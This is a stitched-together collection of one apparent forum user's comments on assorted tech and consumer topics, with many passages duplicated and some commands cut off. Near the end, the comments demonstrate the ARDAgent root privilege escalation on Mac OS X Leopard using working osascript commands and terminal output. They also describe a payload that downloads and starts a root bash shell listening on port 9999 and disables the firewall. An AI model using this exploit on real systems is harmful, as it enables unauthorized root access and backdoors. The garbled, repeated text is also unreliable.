Quicken's cock-up was that it was writing to parts of the MBR that DOS/Windows didn't use - but GRUB/LILO did. In this case, it would do the same thing, since it's unlikely that Vista has changed how such things work.
Microsoft's choice to 'intentionally not read Mac floppy disks' likely involves not having support for MFS/HFS, and not seeing any real need to reverse-engineer them to implement them.
Intel Macs use EFI instead of a BIOS, and EFI uses GUID Partition Tables (GPT) instead of MBR.
The space that the MBR used to sit in is reserved in GPT, so when a legacy system reads, uses, or modifies the partition table, it only changes the old MBR partition table, which is not actually used to boot. In contrast, Boot Camp's dual-boot features only use the GPT, which means that as far as Vista knows, it IS the only boot loader involved.
Not quite. 480i is standard-definition television, and 480p is EDTV, which is what a progressive-scan DVD player or console delivers. Above that is considered to be HD, and while some may argue 480p is HD, no one could argue that 480i is.
I think you've expressed your point inaccurately. Quantity is not what people care about- it's what they *understand*. People don't understand the idea of compression ratios or artifacting. They only know what HDTV is because the sales guy said it was better, and they understand it as 'big tv' - another concept they're comfortable with.
Consumers 'understand' HDTV as 'big screen', but don't understand compression as 'static' or 'interference' yet. When they do, things will change. Until then, were stuck. y
one thing to keep in mind is that things like cartoons compress a lot better, largely because there are large swaths of uniform colour and fewer instances of frames changing in complicated ways. That makes 1080p a lot les expensive than on other channels.
That may be true, but one has to consider that previous browsing experiences, be they through WEP or even through Opera Mini, were at best mediocre and at worst unusable. Websites didn't render properly, content was jumbled together, tables made things far wider than any mobile screen, text was illegible or far too big. It was just an all-around unpleasant experience, and one that I would rather do without than try to muddle through.
This new generation is far different, letting people browse websites the way they are intended to look, rather than some bastardized misinterpretation or unusable mess. Finally people can browse the web and actually enjoy it, rather than suffer through, and that's the war that we're now talking about.
It doesn't mean God, it means any power higher than yourself - that could be God, it could be your uncle, it could be fate, it could be Gaia, it could be karma, or whatever. That step refers to acknowledging that there is something above, more important, and more powerful than yourself - i.e. you are not the centre of the world, and you have to look outside yourself to fix yourself.
For my money, the best service can be had from Westjet Airlines. My roommate is on vacation in Montreal, and I'm handling all of the travel for her - namely the flights. The day before she was going to go, she ended up quitting her job because of unsafe working conditions (her coworkers not being careful with things she's deathly allergic to), so she wanted to extend her stay. This requires me to move her return flight back a few weeks.
The typical response you could expect to get from an airline goes something like this: Them: There's a $40 fee, plus you pay the difference in flights. Me: But the one I want is a cheaper flight. Them: Sales prices don't count, so you have to pay the regular price, which is always higher. Me: Can I arrange this at a travel agent then and pay there? Them: No, you'll have to pay online by credit card, or you can pay in person at the ticketing counter (you now, not her when she comes back), but it'll have to be 24 hours before your flight or it won't count.
My conversation with Westjet this morning went like this: Them: There's a $40 fee, plus you pay the difference in flights. Me: But the one I want is a cheaper flight. Them: Well then we'll use the difference to cover the charge, and if there's extra left over, it'll be kept as credit on your account. Me: Oh. Ok. Well then can I arrange this at the travel agent? Them: Yes, but you have to do it at least two hours before the scheduled time.
Oh, and they don't have voice prompts. Their 24-hour toll-free line goes went directly to a person on the second ring. That seems as improbable as Apple sending me a free iPhone just for being such a rabid fanboy, and yet, here we are.
Using iSCSI, I maxed out a 100 megabit connection using an IDE drive. I feel confident that I could build on that pretty easily if I were thwacking a bunch of drives in there.
My plan is a FreeNAS box exporting drives over iSCSI to a Solaris server using ZFS. Easier to expand.
Coolermaster makes some other cases with 8 (!!) 5.25" slots, which is enough for altogether too many drives. That said, the likelihood is that even four drive slots would give you enough room to move around. 4x1TB now, then in a year when it fills up, add 3x2TB. Down the road, replace the 4x1TB with 4x4TB, and so on.
Actually, running Solaris on it directly might be more efficient. Hmm..
LAMJ could easily have been. Except it's not a very catchy acronym JAML is a little better, though it sounds like some crappy Web 2.0 'We're gonna change the world by jumping on the bandwagon' website or some kind of long-forgotten W3C specification.
I've always said that if you're not indenting your blocks with decent amounts of whitespace, you're a lousy programmer in the first place. The difference is that in Python, if you mess up your indenting, you mess up your blocks, whereas in a lot of other languages, you can easily get your indenting right and your blocks wrong regardless.
One of the things I like about Python is that there are a lot of things I don't have to type. I don't have to type { and } (or begin and end), I don't have to type parentheses in every conditional, and so on. I find it saves a lot of time just on that front, especially when you use different keyboards or keyboard layouts where {} and () aren't as easy to type.
When I'm writing a program in Python, I find it handy to be able to just stop coding and test it. In other languages, you have to ensure that you close your blocks and do it properly. It's a minor thing, but it's still nice.
Also, "I reboot my computer... why should I have to reboot my computer?" I find it hard to realize that he wouldn't know the technical difficulties in replacing a dll while the system is running, and possible ways around this, and the current state of affairs. However, maybe I'm giving too much credit here. Say what you like about Gates, but he is, actually, a geek. I don't want to give the man credit, but Joel Spolsky wrote about his first Bill Gates review.
Short form, there was a 'bug' in Excel that was there for compatibility with Lotus 123, which erroneously treated 1900 as a leap year. This broke January and February of that year, but otherwise worked perfectly.
Spolsky found the bug after sending his spec to Bill Gates, who, apparently, not only read the whole thing, but marked it up with notes in the margins. At his review with Bill, the questions kept getting harder, until finally he asked if the date and time stuff was going to work properly. Joel's answer, of course, was 'Yes, except for January and February, 1900'. This satisfied Gates, and he got up and left.
Gates knew the problem was there. He knew that was a gotcha that was in the code, and he likely knew why it was there and who put it there. He's a programmer, like it or not. His company makes shitty products for a variety of reasons, but Gates himself is (or was) a programmer.
I'm certain he knew full well why he had to reboot. His point wasn't to try to fill in information, his point was to outline the absurdity of restarting your system, over and over and over again, just to make a movie. Sounds pragmatic to me.
Part of that can be resolved by sandboxing. Prevent screensavers, etc. from being able to access anything on the system outside of a small, well-defined set of resources; have the author define that list, and the system enforce it. Network access? Disk access? Safari RSS feeds? Require authentication and code signing.
Oh, and make code signing easy, so people don't have to fork out huge amounts of money to sign their code. Apple could provide a signing service, where you have to apply and go through a verification process, after which you get a certificate that you can use to sign your apps for the next six months.
This opens up a new set of options for security management as well. If a developer finds a security hole in his product, he can release a new version then invalidate the old version through Apple's service. Users can be provided a grace period to upgrade (for e.g. financial software) or be locked out of the service entirely (for e.g. Adium, Disco, etc.).
Alternately, if someone is distributing malware or can't be contacted to fix bugs (or just doesn't fix them) Apple could lock that app out so that it would no longer run.
Untrusted (that is, unsigned) apps could be sandboxed automatically, with the user having to opt-in to un-sandboxing them if they, for some reason, need it.
That idea falls apart when you start dealing with 'internet properties'. For example, my company owns [sport].com and is going to build out a [sport] portal on it. Down the road, we may want to sell that to another company that already has an interest in the [sport] market.
The problem is that Bell isn't throttling the 'last mile'. Most of those third-parties that have access to the 'last mile' haven't installed their own equipment, and haven't provided their own bandwidth. They're doing nothing more than reselling Bell's DSL.
The original plan for opening up 3rd party competition was that small ISPs would piggyback on Bell's hardware infrastructure (DSLAMs, uplink) and then install their own equipment, so that only the 'last mile' was shared. What instead happened was that companies got lazy and just kept using Bell's infrastructure.
Now, Bell has throttled all of their customers - and like it or not, TekSavvy customers are getting Bell DSL, and are in almost every respect identical to Bell customers. ISPs (like Colba-Net in Montreal) who've installed their own DLSAMs and infrastructure don't have this problem.
That idea falls apart when you start dealing with 'internet properties'. For example, my company owns.com and is going to build out a portal on it. Down the road, we may want to sell that to another company that already has an interest in the market.
With your idea, we would be unable to actually transfer that domain name to the company, essentially tying ourselves to them in perpetuity, and requiring them to rely on us not going out of business. Bad idea.
If you can ssh into an account who is currently using the machine in person (i.e. is logged in) then it will work. As long as the user you are is the currently active user, then it works.
Disconfirmed - I don't have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.
dan@Geelong:~$ ls -lh/etc/somefile ls:/etc/somefile: No such file or directory dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch/etc/somefile"' dan@Geelong:~$ ls -lh/etc/somefile -rw-rw-rw- 1 root wheel 0B Jun 18 14:16/etc/somefile dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm/etc/somefile"' dan@Geelong:~$ ls -lh/etc/somefile ls:/etc/somefile: No such file or directory So, how dangerous is this? Here's an example:
This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.
To remove, run 'launchctl unload com.apple.bash' 'launchctl unload/System/Library/LaunchDaemons/bash.plist' and then 'rm/System/Library/LaunchDaemons/bash.plist'
It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.
So yeah; anything can be downloaded, and anything can be done with it. Scary.
Well, Old El Paso is owned by General Mills, it seems, which is based in Minnesota. Better than New York City.
You know what they say... when all you have is a backhoe, everything looks like a quarry.
Quicken's cock-up was that it was writing to parts of the MBR that DOS/Windows didn't use - but GRUB/LILO did. In this case, it would do the same thing, since it's unlikely that Vista has changed how such things work.
Microsoft's choice to 'intentionally not read Mac floppy disks' likely involves not having support for MFS/HFS, and not seeing any real need to reverse-engineer them to implement them.
Intel Macs use EFI instead of a BIOS, and EFI uses GUID Partition Tables (GPT) instead of MBR.
The space that the MBR used to sit in is reserved in GPT, so when a legacy system reads, uses, or modifies the partition table, it only changes the old MBR partition table, which is not actually used to boot. In contrast, Boot Camp's dual-boot features only use the GPT, which means that as far as Vista knows, it IS the only boot loader involved.
Not quite. 480i is standard-definition television, and 480p is EDTV, which is what a progressive-scan DVD player or console delivers. Above that is considered to be HD, and while some may argue 480p is HD, no one could argue that 480i is.
I think you've expressed your point inaccurately. Quantity is not what people care about- it's what they *understand*. People don't understand the idea of compression ratios or artifacting. They only know what HDTV is because the sales guy said it was better, and they understand it as 'big tv' - another concept they're comfortable with.
Consumers 'understand' HDTV as 'big screen', but don't understand compression as 'static' or 'interference' yet. When they do, things will change. Until then, were stuck. y
one thing to keep in mind is that things like cartoons compress a lot better, largely because there are large swaths of uniform colour and fewer instances of frames changing in complicated ways. That makes 1080p a lot les expensive than on other channels.
That may be true, but one has to consider that previous browsing experiences, be they through WEP or even through Opera Mini, were at best mediocre and at worst unusable. Websites didn't render properly, content was jumbled together, tables made things far wider than any mobile screen, text was illegible or far too big. It was just an all-around unpleasant experience, and one that I would rather do without than try to muddle through.
This new generation is far different, letting people browse websites the way they are intended to look, rather than some bastardized misinterpretation or unusable mess. Finally people can browse the web and actually enjoy it, rather than suffer through, and that's the war that we're now talking about.
It doesn't mean God, it means any power higher than yourself - that could be God, it could be your uncle, it could be fate, it could be Gaia, it could be karma, or whatever. That step refers to acknowledging that there is something above, more important, and more powerful than yourself - i.e. you are not the centre of the world, and you have to look outside yourself to fix yourself.
Looks like Google just invented the IIOP wire protocol, which is also platform agnostic and an open standard.
For a second, I read that as 'the IHOP wire protocol', which sounded hopelessly delicious. Imagine my disappointment. :(
Definition of irony: being a fan of Twitter because one of their APIs *isn't* overloaded.
For my money, the best service can be had from Westjet Airlines. My roommate is on vacation in Montreal, and I'm handling all of the travel for her - namely the flights. The day before she was going to go, she ended up quitting her job because of unsafe working conditions (her coworkers not being careful with things she's deathly allergic to), so she wanted to extend her stay. This requires me to move her return flight back a few weeks.
The typical response you could expect to get from an airline goes something like this:
Them: There's a $40 fee, plus you pay the difference in flights.
Me: But the one I want is a cheaper flight.
Them: Sales prices don't count, so you have to pay the regular price, which is always higher.
Me: Can I arrange this at a travel agent then and pay there?
Them: No, you'll have to pay online by credit card, or you can pay in person at the ticketing counter (you now, not her when she comes back), but it'll have to be 24 hours before your flight or it won't count.
My conversation with Westjet this morning went like this:
Them: There's a $40 fee, plus you pay the difference in flights.
Me: But the one I want is a cheaper flight.
Them: Well then we'll use the difference to cover the charge, and if there's extra left over, it'll be kept as credit on your account.
Me: Oh. Ok. Well then can I arrange this at the travel agent?
Them: Yes, but you have to do it at least two hours before the scheduled time.
Oh, and they don't have voice prompts. Their 24-hour toll-free line goes went directly to a person on the second ring. That seems as improbable as Apple sending me a free iPhone just for being such a rabid fanboy, and yet, here we are.
Using iSCSI, I maxed out a 100 megabit connection using an IDE drive. I feel confident that I could build on that pretty easily if I were thwacking a bunch of drives in there.
My plan is a FreeNAS box exporting drives over iSCSI to a Solaris server using ZFS. Easier to expand.
One of these and One of these in One of these.
Coolermaster makes some other cases with 8 (!!) 5.25" slots, which is enough for altogether too many drives. That said, the likelihood is that even four drive slots would give you enough room to move around. 4x1TB now, then in a year when it fills up, add 3x2TB. Down the road, replace the 4x1TB with 4x4TB, and so on.
Actually, running Solaris on it directly might be more efficient. Hmm..
I've always said that if you're not indenting your blocks with decent amounts of whitespace, you're a lousy programmer in the first place. The difference is that in Python, if you mess up your indenting, you mess up your blocks, whereas in a lot of other languages, you can easily get your indenting right and your blocks wrong regardless.
One of the things I like about Python is that there are a lot of things I don't have to type. I don't have to type { and } (or begin and end), I don't have to type parentheses in every conditional, and so on. I find it saves a lot of time just on that front, especially when you use different keyboards or keyboard layouts where {} and () aren't as easy to type.
When I'm writing a program in Python, I find it handy to be able to just stop coding and test it. In other languages, you have to ensure that you close your blocks and do it properly. It's a minor thing, but it's still nice.
Short form, there was a 'bug' in Excel that was there for compatibility with Lotus 123, which erroneously treated 1900 as a leap year. This broke January and February of that year, but otherwise worked perfectly.
Spolsky found the bug after sending his spec to Bill Gates, who, apparently, not only read the whole thing, but marked it up with notes in the margins. At his review with Bill, the questions kept getting harder, until finally he asked if the date and time stuff was going to work properly. Joel's answer, of course, was 'Yes, except for January and February, 1900'. This satisfied Gates, and he got up and left.
Gates knew the problem was there. He knew that was a gotcha that was in the code, and he likely knew why it was there and who put it there. He's a programmer, like it or not. His company makes shitty products for a variety of reasons, but Gates himself is (or was) a programmer.
I'm certain he knew full well why he had to reboot. His point wasn't to try to fill in information, his point was to outline the absurdity of restarting your system, over and over and over again, just to make a movie. Sounds pragmatic to me.
Part of that can be resolved by sandboxing. Prevent screensavers, etc. from being able to access anything on the system outside of a small, well-defined set of resources; have the author define that list, and the system enforce it. Network access? Disk access? Safari RSS feeds? Require authentication and code signing.
Oh, and make code signing easy, so people don't have to fork out huge amounts of money to sign their code. Apple could provide a signing service, where you have to apply and go through a verification process, after which you get a certificate that you can use to sign your apps for the next six months.
This opens up a new set of options for security management as well. If a developer finds a security hole in his product, he can release a new version then invalidate the old version through Apple's service. Users can be provided a grace period to upgrade (for e.g. financial software) or be locked out of the service entirely (for e.g. Adium, Disco, etc.).
Alternately, if someone is distributing malware or can't be contacted to fix bugs (or just doesn't fix them) Apple could lock that app out so that it would no longer run.
Untrusted (that is, unsigned) apps could be sandboxed automatically, with the user having to opt-in to un-sandboxing them if they, for some reason, need it.
Epic fail. It trimmed out my anonymizing quotes.
That idea falls apart when you start dealing with 'internet properties'. For example, my company owns [sport].com and is going to build out a [sport] portal on it. Down the road, we may want to sell that to another company that already has an interest in the [sport] market.The problem is that Bell isn't throttling the 'last mile'. Most of those third-parties that have access to the 'last mile' haven't installed their own equipment, and haven't provided their own bandwidth. They're doing nothing more than reselling Bell's DSL.
The original plan for opening up 3rd party competition was that small ISPs would piggyback on Bell's hardware infrastructure (DSLAMs, uplink) and then install their own equipment, so that only the 'last mile' was shared. What instead happened was that companies got lazy and just kept using Bell's infrastructure.
Now, Bell has throttled all of their customers - and like it or not, TekSavvy customers are getting Bell DSL, and are in almost every respect identical to Bell customers. ISPs (like Colba-Net in Montreal) who've installed their own DLSAMs and infrastructure don't have this problem.
That idea falls apart when you start dealing with 'internet properties'. For example, my company owns .com and is going to build out a portal on it. Down the road, we may want to sell that to another company that already has an interest in the market.
With your idea, we would be unable to actually transfer that domain name to the company, essentially tying ourselves to them in perpetuity, and requiring them to rely on us not going out of business. Bad idea.
Unless the user that you're logged in as is also logged in physically, in which case you can access WindowServer and thus ARDAgent will do its thing.
Oh! A sarcasm detector! THAT'S useful.
If you can ssh into an account who is currently using the machine in person (i.e. is logged in) then it will work. As long as the user you are is the currently active user, then it works.
ls:
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch
dan@Geelong:~$ ls -lh
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm
dan@Geelong:~$ ls -lh
ls:
osascript -e 'tell app "ARDAgent" to do shell script "cd
This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.
To remove, run 'launchctl unload com.apple.bash' 'launchctl unload
It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.
So yeah; anything can be downloaded, and anything can be done with it. Scary.
Use Option key as Meta key